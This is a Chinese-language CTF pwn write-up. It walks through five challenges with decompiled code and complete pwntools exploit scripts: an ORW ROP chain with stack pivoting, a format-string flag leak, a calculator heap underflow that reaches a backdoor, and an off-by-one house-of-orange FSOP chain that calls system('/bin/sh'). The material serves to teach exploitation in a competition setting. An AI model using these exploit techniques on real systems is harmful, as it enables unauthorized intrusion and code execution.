pwn

摩登Pwn

第一次做这种gui pwn,搜了一下是rbf协议,https://remoteripple.com/download/ 用这个远程连接软件连接和题目进行交互

程序的逻辑是,会将输入转成无符号整数,然后判断”符号位”是不是负数,如果是就输出flag,所以只需要输入4字节无符号整数能表达是最大范围4294967295 就能拿到flag

__int64 __fastcall show_result(__int64 a1, __int64 a2)
{
  __int64 type; // rsi
  __int64 v3; // rax
  __int64 buffer; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rsi
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  char src[8]; // [rsp+10h] [rbp-100h] BYREF
  __int64 v15; // [rsp+18h] [rbp-F8h]
  __int64 v16; // [rsp+20h] [rbp-F0h]
  __int64 v17; // [rsp+28h] [rbp-E8h]
  __int64 v18; // [rsp+30h] [rbp-E0h]
  __int64 v19; // [rsp+38h] [rbp-D8h]
  __int64 v20; // [rsp+40h] [rbp-D0h]
  __int64 v21; // [rsp+48h] [rbp-C8h]
  char v22[128]; // [rsp+50h] [rbp-C0h] BYREF
  __int64 v23; // [rsp+D0h] [rbp-40h]
  FILE *stream; // [rsp+D8h] [rbp-38h]
  __int64 content_area; // [rsp+E0h] [rbp-30h]
  __int64 v26; // [rsp+E8h] [rbp-28h]
  unsigned int v27; // [rsp+F4h] [rbp-1Ch]
  __int64 v28; // [rsp+F8h] [rbp-18h]
  __int64 toplevel; // [rsp+100h] [rbp-10h]
  char *nptr; // [rsp+108h] [rbp-8h]

  toplevel = gtk_widget_get_toplevel(a1);
  v28 = a2;
  type = gtk_entry_get_type();
  v3 = g_type_check_instance_cast(v28, type);
  buffer = gtk_entry_get_buffer(v3);
  for ( nptr = (char *)gtk_entry_buffer_get_text(buffer); *nptr && (*nptr <= 48 || *nptr > 56); ++nptr )
    ;
  v27 = strtoul(nptr, 0LL, 10);
  v26 = gtk_dialog_new_with_buttons("Result", toplevel, 2LL, &unk_401B58, 0xFFFFFFFFLL, 0LL);
  v5 = gtk_container_get_type();
  v6 = g_type_check_instance_cast(v26, v5);
  gtk_container_set_border_width(v6, 10LL);
  v7 = gtk_window_get_type();
  v8 = g_type_check_instance_cast(v26, v7);
  gtk_window_set_position(v8, 4LL);
  v9 = gtk_dialog_get_type();
  v10 = g_type_check_instance_cast(v26, v9);
  content_area = gtk_dialog_get_content_area(v10);
  memset(v22, 0, sizeof(v22));
  strcat(v22, "Your height is:  ");
  if ( (v27 & 0x80000000) != 0 )
  {
    *(_QWORD *)src = 0LL;
    v15 = 0LL;
    v16 = 0LL;
    v17 = 0LL;
    v18 = 0LL;
    v19 = 0LL;
    v20 = 0LL;
    v21 = 0LL;
    stream = fopen("/flag", "r");
    __isoc99_fscanf(stream, "%s", src);
    fclose(stream);
    strcpy(&v22[16], src);
  }
  else
  {
    sprintf(&v22[16], "%d", v27);
  }
  strcat(v22, "cm");
  v23 = gtk_label_new(v22);
  g_signal_connect_data(v26, (__int64)"response", (__int64)&gtk_widget_destroy, v26, 0LL, 2LL);
  v11 = gtk_container_get_type();
  v12 = g_type_check_instance_cast(content_area, v11);
  gtk_container_add(v12, v23);
  return gtk_widget_show_all(v26);
}

baby_stack

题目里有一个只允许orw的沙箱,然后子函数里面有一个栈溢出,不过溢出长度比较短,通过printf %s泄露libc基地址 和 栈相关的地址,栈迁移后打rop,先泄露栈地址,因为栈地址的在低地址,在泄露libc的地址

ssize_t func()
{
  char buf[320]; // [rsp+0h] [rbp-140h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("please enter your content:");
  read(0, buf, 0x150uLL);
  printf("%s", buf);
  puts("please enter your content again:");
  return read(0, buf, 0x150uLL);
}

其实restart一次就好了,(懒得改

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "competition.blue-whale.me"
PORT = 20618

elf = context.binary = ELF('./baby_stack')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

pop_rdi_ret = 0x0000000000400b93
pop_rsi_r15_ret = 0x0000000000400b91
func = 0x400A76

# leak stack
payload = b'a' * 0x60
sa("please enter your content:",payload)
ru(payload)
stack = u64(r(6).ljust(8,b'\x00')) - (0x7fffd2cf0340 - 0x7fffd2cf0110)
success(hex(stack))
# Restart
payload = b'a' * 0x148 + p64(func)
sa("please enter your content again:",payload)

# leak libc
payload = b'a' * 0x150
sa("please enter your content:",payload)
ru(payload)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76227bc20840 - 0x76227bc00000)
success(f"libc_base ->{hex(libc_base)}")

pop_rdx_ret = libc_base + 0x0000000000001b92
leave_ret  = libc_base + 0x0000000000042361
# Restart
payload = b'a' * 0x148 + p64(func)
sa("please enter your content again:",payload)

target = stack + 0x10 - 0x8
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
bss = 0x601000

payload = b'a' * 3
sa("please enter your content:",payload)

payload = p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x8)
payload += p64(read)

payload += p64(pop_rdi_ret) + p64(bss)
payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0)
payload += p64(open)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x40)
payload += p64(read)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x40)
payload += p64(write)

payload = payload.ljust(0x140,b'a')
payload += p64(target) + p64(leave_ret)

sa("please enter your content again:",payload)
s(b"/flag\x00\x00\x00")

p.interactive()

padfmt

好新颖的题,没有见过这种类型的fmt,题目中有一个函数会把flag拷贝到栈上,思考了一会,可以用多个 %p组成的表达式去泄露栈相关的地址,因为memset过了一遍,所以不用考虑发送地址的时候 00位的问题,用 %p * n + %s + flag_addr去泄露flag的值

李华在学习了格式化字符串漏洞后大受震撼,但他突然想到 “对啊,如果我给 %n$p 里的 $ 过滤掉,再配合上一个很大块的空数据让 printf 随便泄露,不就是个安全的 printf 了吗!”

于是李华写了下面的这个 demo,看看聪明的你能不能打他的脸

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20477

elf = context.binary = ELF('./padfmt')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = "%p%p%p%p%p%p-%p"
sla("what is your name?",payload)
ru("-")
leak = int(r(14),16) # input addr
success(f"input_addr ->{hex(leak)}")

flag_addr = leak + (0x7ffe8cfa9480 - 0x7ffe8cfa9010)
success(f"flag_addr ->{hex(flag_addr)}")


payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%sAAAA" + p64(flag_addr)
# g(p)
sla("have anything else to say?",payload)



p.interactive()

卡死欧计算器

int __cdecl handle_input()
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  OPInfo_0 *v4; // rax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  char *end; // [rsp+18h] [rbp-B8h] BYREF
  handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; // [rsp+20h] [rbp-B0h]
  handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; // [rsp+30h] [rbp-A0h]
  int pre_res; // [rsp+4Ch] [rbp-84h] BYREF
  double tmp; // [rsp+50h] [rbp-80h]
  double r; // [rsp+58h] [rbp-78h]
  double a; // [rsp+60h] [rbp-70h]
  double b; // [rsp+68h] [rbp-68h]
  double r_0; // [rsp+70h] [rbp-60h]
  double a_0; // [rsp+78h] [rbp-58h]
  double b_0; // [rsp+80h] [rbp-50h]
  OPInfo_0 *prev; // [rsp+88h] [rbp-48h]
  OPInfo_0 *curr; // [rsp+90h] [rbp-40h]
  double r_1; // [rsp+98h] [rbp-38h]
  double a_1; // [rsp+A0h] [rbp-30h]
  double b_1; // [rsp+A8h] [rbp-28h]
  OPInfo_0 *opi; // [rsp+B0h] [rbp-20h]
  int err; // [rsp+BCh] [rbp-14h]
  char *buf; // [rsp+C0h] [rbp-10h]
  int i; // [rsp+CCh] [rbp-4h]

  printf("input: ");
  memset(input_buffer, 0, sizeof(input_buffer));
  buf = fgets(input_buffer, 2000, stdin);
  if ( !buf )
    return 0;
  pre_res = 0;                                  // inputdataLen
  err = preprocess(buf, &pre_res);
  if ( err )
  {
    handle_preprocess_err(buf, err, pre_res);
    return 1;
  }
  else
  {
    num_stack.top = 0;
    num_stack.arr = (double *)malloc(8LL * pre_res);
    op_stack.top = 0;
    op_stack.arr = (char *)malloc(pre_res);
    *num_stack.arr = 0.0;
    for ( i = 0; buf[i]; ++i )
    {
      if ( buf[i] != ' ' )
      {
        if ( buf[i] > '/' && buf[i] <= '9' || buf[i] == 46 )// 0123456789   chr(46) == '.'
        {
          tmp = strtod(&buf[i], &end);
          num_stack.arr[++num_stack.top] = tmp;
          i = (_DWORD)end - (_DWORD)buf - 1;
        }
        else if ( buf[i] == '(' )
        {
          op_stack.arr[++op_stack.top] = '(';
        }
        else if ( buf[i] == ')' )
        {
          while ( op_stack.arr[op_stack.top] != '(' )
          {
            v1 = num_stack.top--;
            b = num_stack.arr[v1];
            v2 = num_stack.top--;
            a = num_stack.arr[v2];
            v3 = op_stack.top--;
            v4 = lookup_op(op_stack.arr[v3]);
            r = v4->op(a, b);
            num_stack.arr[++num_stack.top] = r;
          }
          --op_stack.top;
        }
        else
        {
          curr = lookup_op(buf[i]);
          while ( op_stack.top )
          {
            prev = lookup_op(op_stack.arr[op_stack.top]);
            if ( !prev || curr->level > prev->level )
              break;
            v5 = num_stack.top--;
            b_0 = num_stack.arr[v5];
            v6 = num_stack.top--;
            a_0 = num_stack.arr[v6];
            r_0 = prev->op(a_0, b_0);
            --op_stack.top;
            num_stack.arr[++num_stack.top] = r_0;
          }
          op_stack.arr[++op_stack.top] = curr->sym;
        }
      }
    }
    while ( op_stack.top )
    {
      opi = lookup_op(op_stack.arr[op_stack.top]);
      v7 = num_stack.top--;
      b_1 = num_stack.arr[v7];
      v8 = num_stack.top--;
      a_1 = num_stack.arr[v8];
      r_1 = opi->op(a_1, b_1);
      --op_stack.top;
      num_stack.arr[++num_stack.top] = r_1;
    }
    printf("result: %lf\n", num_stack.arr[num_stack.top]);
    free(op_stack.arr);
    free(num_stack.arr);
    return 1;
  }
}

看了一遍题目的逻辑,是一个基于栈的计算器。分析题目崩溃的样例() + () + 1,然后我构造了一些新的样例,比如说

() + () + ()
() + () + 2
() + () + () + ()
(

再结合题目的逻辑分析,可以发现产生漏洞的原因是 () + () 这类表达式中没有判断运算符两边是否是一个操作数,num_stack 为空,凭空 pop了两次,能产生一个以num_stack为基地址 往低地址写任意数据的漏洞,不过result是iee754双精度的,所以要计算一下。

题目中有一个backdoor函数,在处理op_stack的时候,如果存在 ‘#’符号就会调用backdoor,所以目的非常清晰,用num_stack低地址写的漏洞去写op_stack中的内容

num_stack 和 op_stack在初始化的时候,op_stack是在高地址,可以利用glibc堆分配策略,先输入一个表达式产生chunk,再输入一个利用的表达式,保证利用表达式的有效长度 * 8 是大于旧的两个chunk,让op_stack和num_stack的高低地址进行调换

num_stack.arr = (double *)malloc(8LL * pre_res);
op_stack.top = 0;
op_stack.arr = (char *)malloc(pre_res);

利用() + () + …..的表达式让 num stack的top指针指向op_stack,原本我想构造一个低n个字节为 0x23这样的iee754双精度浮点数,后面发现利用op_stack原本的数据 用除法去计算出这个数相比去构造iee754双精度浮点数来说会非常简单,利用程序处理运算符优先级顺序的逻辑,在修改的时候保证op_stack top >=1,然后把op_stack[top] 这个运算符改成0x23就好了,也就是构造 +()/340 这样的表达式

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20369

elf = context.binary = ELF('./kasio')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "1+1+1+1+1+1+1+1+1+1+1+1" # 23
# chunkA 0x18 + 8 + prev_inuse  = 0x21

sla("input: ",payload)

# payload = "()+()+()+()+()+()/10000000+(1.73e-322)"
payload = "()+()+()+()+()+()/340"

#  +(1.73e-322) 低位一个字节是0x23

# gdb_comm = '''
# b *0x401336
# c
# '''
# gdb.attach(p,gdb_comm)


sla("input: ",payload)


p.interactive()

one orange

不太熟悉glibc 2.23的利用方法,去学习了一下

https://www.cnblogs.com/ZIKH26/articles/16712469.html

https://xz.aliyun.com/t/12902?time__1311=mqmhqIx%2BhD7YDs%3DA4Cw4iTL4fxh30KeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-13

https://www.anquanke.com/post/id/208407

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init_0(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.add");
      puts("2.del");
      puts("3.edit");
      puts("4.show");
      _isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      del();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        edit();
      }
      else if ( v3 == 4 )
      {
        show();
      }
    }
    else if ( v3 == 1 )
    {
      add();
    }
  }
}

unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int idx; // [rsp+0h] [rbp-20h] BYREF
  int size; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  puts("which index?");
  _isoc99_scanf("%d", &idx);
  if ( idx > 0xA || chunk_list[idx] || (puts("what size?"), _isoc99_scanf("%d", &size), size <= 223) || size > 992 )
  {
    puts("go out");
  }
  else
  {
    size_list[idx] = size;
    v0 = idx;
    chunk_list[v0] = malloc(size);
    puts("success!");
  }
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which index?");
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 0xA && chunk_list[v1] )
  {
    puts("content:");
    write(1, (const void *)chunk_list[v1], (int)size_list[v1]);
    puts(&byte_10FC);
  }
  else
  {
    puts("go out");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("which index?");
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 0xA && chunk_list[v1] )
  {
    puts("content:");
    for ( i = 0; size_list[v1] >= i; ++i )
    {
      read(0, (void *)(chunk_list[v1] + i), 1uLL);
      if ( *(_BYTE *)(chunk_list[v1] + i) == 10 )
      {
        *(_BYTE *)(chunk_list[v1] + i) = 0;
        break;
      }
    }
    puts("success!");
  }
  else
  {
    puts("go out");
  }
  return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 del()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( delete_chance )
  {
    puts("you just have one chance!");
    puts("which index?");
    _isoc99_scanf("%d", &v1);
    if ( v1 <= 0xA && chunk_list[v1] )
    {
      printf("this is you want to delete: %p\n", (const void *)chunk_list[v1]);
      free((void *)chunk_list[v1]);
      chunk_list[v1] = 0LL;
      size_list[v1] = 0;
      --delete_chance;
      puts("success!");
    }
    else
    {
      puts("go out");
    }
  }
  else
  {
    puts("you have no chance!");
    puts("go out");
  }
  return __readfsqword(0x28u) ^ v2;
}

可以发现在edit的时候有一个单字节的溢出 off by one, 只有一次free的机会,单字节溢出不足以满足house of orange的利用条件,但是可以同来构造一个堆叠

构造这样一个堆布局,edit(chunk B)将 chunk C的size修改成一个比较小的数,edit(chunk A)将chunkB的size修改成(chunkB + chunkC)的大小,将B free掉后再申请回来,就能构造出一个修改top chunk的uaf,但是这个是单字节的溢出,能构造的最大的写 top chunk的数据长度是 0xe8,不过刚刚好够https://xz.aliyun.com/t/12902?time__1311=mqmhqIx%2BhD7YDs%3DA4Cw4iTL4fxh30KeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-13 这条利用链

低地址
chunk A(udata: 0xf8 prev_inuse: 1 sizeof(chunk->size): 8)
chunk B(udata: 0xf8 prev_inuse: 1 sizeof(chunk->size): 8)
chunk C(udata: 0xe8 prev_inuse: 1 sizeof(chunk->size): 8)
高地址

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20143

elf = context.binary = ELF('./one_orange')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
    sl("1")
    sla("which index?",str(idx)) # 0 - 10
    sla("what size?",str(size)) # size > 223(0xdf) size <=922(0x39a)

def delete(idx):
    sl("2")
    sla("which index?",str(idx))

def show(idx):
     sl("4")
     sla("which index?",str(idx))

def edit(idx,content):
    sl("3")
    sla("which index?",str(idx))
    sa("content:",content)

def edit2(idx,content):
    sl("3")
    sla("which index?",str(idx))
    sla("content:",content)

add(0,0x398)
add(1,0x398)
add(2,0x398) # 填高 top chunk的地址,这样修改top chunk size 只需要修改很小就能满足页对齐的要求

add(3,0xf8)
add(4,0xf8)
add(5,0xe8)

edit(3,b'\x00' * 0xf8 + b'\xf1') 
edit(4,b'\x00' * 0xf8 + b'\x41') 
delete(4)
ru("this is you want to delete: ")
heap_base = int(rl()[:-1],16) - (0x62aa5a9fbbf0 - 0x62aa5a9fb000)
# 4 5 heap overlap后 top chunk 和4合并, 构造出uaf 5
add(4,0x108)


edit2(5,b'a' * 8 + p64(0x311)) # 通过构造出来的uaf 修改 top chunk size的大小,满足页对齐要求,同时size小于 创建堆块的最大size
add(6,0x328) # house of orange

show(5)
ru("a" * 8)
r(8)
leak = u64(r(6).ljust(8,b"\x00"))
libc_base = leak - (0x00007f0b95fc4b78 - 0x7f0b95c00000)
success(f"libc_base ->{hex(libc_base)}")
success(f"heap_base ->{hex(heap_base)}")

_IO_list_all = libc_base + (0x6ffcda5c5520 - 0x6ffcda200000)
system = libc_base + libc.sym['system']
success(hex(_IO_list_all))

chain = heap_base+0xcf0
payload = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
payload += p64(0) + p64(1) + p64(0)*7+p64(chain)
payload = payload.ljust(0xd8,b"\x00")
payload += p64(chain+0xd8-0x10)+p64(system)

edit2(5,payload)

# g(p)
add(7,0x200)



p.interactive()
⬆︎TOP